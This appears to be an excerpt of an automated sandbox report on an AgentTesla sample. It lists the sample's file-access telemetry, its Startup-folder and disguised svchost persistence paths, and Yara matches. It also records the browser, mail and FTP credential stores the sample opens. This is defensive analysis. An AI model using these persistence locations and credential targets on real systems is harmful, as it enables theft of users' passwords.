Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Queries volume information: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Queries volume information: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe VolumeInformation

Source: C:\Users\user\AppData\Roaming\putty.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000013.00000002.2356991677.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2355316042.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2355374665.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000013.00000002.2356991677.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2355316042.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2355374665.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe

File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe

File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Directory queried: number of queries: 3173

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000013.00000002.2356991677.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2355316042.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2355374665.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000013.00000002.2356991677.0000000000402000.00000040.00000001.sdmp, type: MEMORY
